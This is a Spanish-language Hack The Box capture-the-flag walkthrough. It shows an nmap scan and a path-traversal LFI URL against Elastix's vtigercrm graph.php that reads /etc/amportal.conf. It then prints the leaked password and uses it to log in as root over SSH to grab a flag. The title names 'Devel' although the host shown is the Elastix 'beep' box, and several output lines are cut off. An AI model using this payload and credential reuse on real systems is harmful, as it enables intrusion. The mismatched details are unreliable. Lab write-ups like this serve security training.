Hoy vamos a hackear la maquina de HTB llamada Devel.
Video
Enumeration
Para empezar hacemos un nmap para ver que puertos tiene abiertos.
sml@Cassandra:~$ nmap -A -p- 10.10.10.7
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-09 15:17 CEST
Nmap scan report for 10.10.10.7
Host is up (0.043s latency).
Not shown: 65519 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
| 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_ 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp open smtp Postfix smtpd
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN,
ENHANCEDST
80/tcp open http Apache httpd 2.2.3
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Did not follow redirect to https://10.10.10.7/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
110/tcp open pop3 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_pop3-capabilities: AUTH-RESP-CODE USER UIDL EXPIRE(NEVER)
IMPLEMENTATION(Cyrus POP
111/tcp open rpcbind 2 (RPC #100000)
143/tcp open imap Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_imap-capabilities: IDLE NAMESPACE MULTIAPPEND OK ACL ATOMIC URLAUTHA0001
X-NETSCAPENCES ANNOTATEMORE CHILDREN RENAME CATENATE ID CONDSTORE NO LITERAL+
IMAP4rev1 SORT=
443/tcp open ssl/https?
|_ssl-date: 2020-05-09T13:21:41+00:00; +1s from scanner time.
879/tcp open status 1 (RPC #100024)
993/tcp open ssl/imap Cyrus imapd
|_imap-capabilities: CAPABILITY
995/tcp open pop3 Cyrus pop3d
3306/tcp open mysql MySQL (unauthorized)
4190/tcp open sieve Cyrus timsieved 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
(include
4445/tcp open upnotifyp?
4559/tcp open hylafax HylaFAX 4.3.10
5038/tcp open asterisk Asterisk Call Manager 1.1
10000/tcp open http MiniServ 1.570 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: Hosts: beep.localdomain, 127.0.0.1, example.com, localhost; OS:
Unix
Service detection performed. Please report any incorrect results at
https://nmap.org
Nmap done: 1 IP address (1 host up) scanned in 378.53 seconds
Al visitar http://10.10.10.7 podemos ver que se trata de elastix.
Buscamos algun exploit que pueda servirnos.
Bien, se trata de un LFI, asi que lo probamos visitando:
https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../../
/etc/amportal.conf%00&module=Accounts&action
En todo el texto que aparece, el que nos interesa es el siguiente:
AMPMGRPASS=jEhdIekWmdjE
Nos logueamos utilizando la password encontrada en el paso anterior.
sml@Cassandra:~$ ssh root@10.10.10.7
Unable to negotiate with 10.10.10.7 port 22: no matchinTheir offer:
diffie-hellman-group-exchange-sha1,diffie-ellman-group1-sha1
sml@Cassandra:~$ ssh -oKexAlgorithms=+diffie-hellman-gr
The authenticity of host '10.10.10.7 (10.10.10.7)' can'
RSA key fingerprint is SHA256:Ip2MswIVDX1AIEPoLiHsMFfdg
Are you sure you want to continue connecting (yes/no/[f
Warning: Permanently added '10.10.10.7' (RSA) to the li
root@10.10.10.7's password:
Last login: Tue Jul 16 11:45:47 2019
Welcome to Elastix
----------------------------------------------------
To access your Elastix System, using a separate worksta
Open the Internet Browser using the following URL:
http://10.10.10.7
[root@beep ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon)el)
user.txt
[root@beep ~]# cd /home
[root@beep home]# ls
fanis spamfilter
[root@beep home]# cd fanis
[root@beep fanis]# ls
user.txt
[root@beep fanis]# cat user.txt
aeff3def0c765c2677b94715cffa73ac
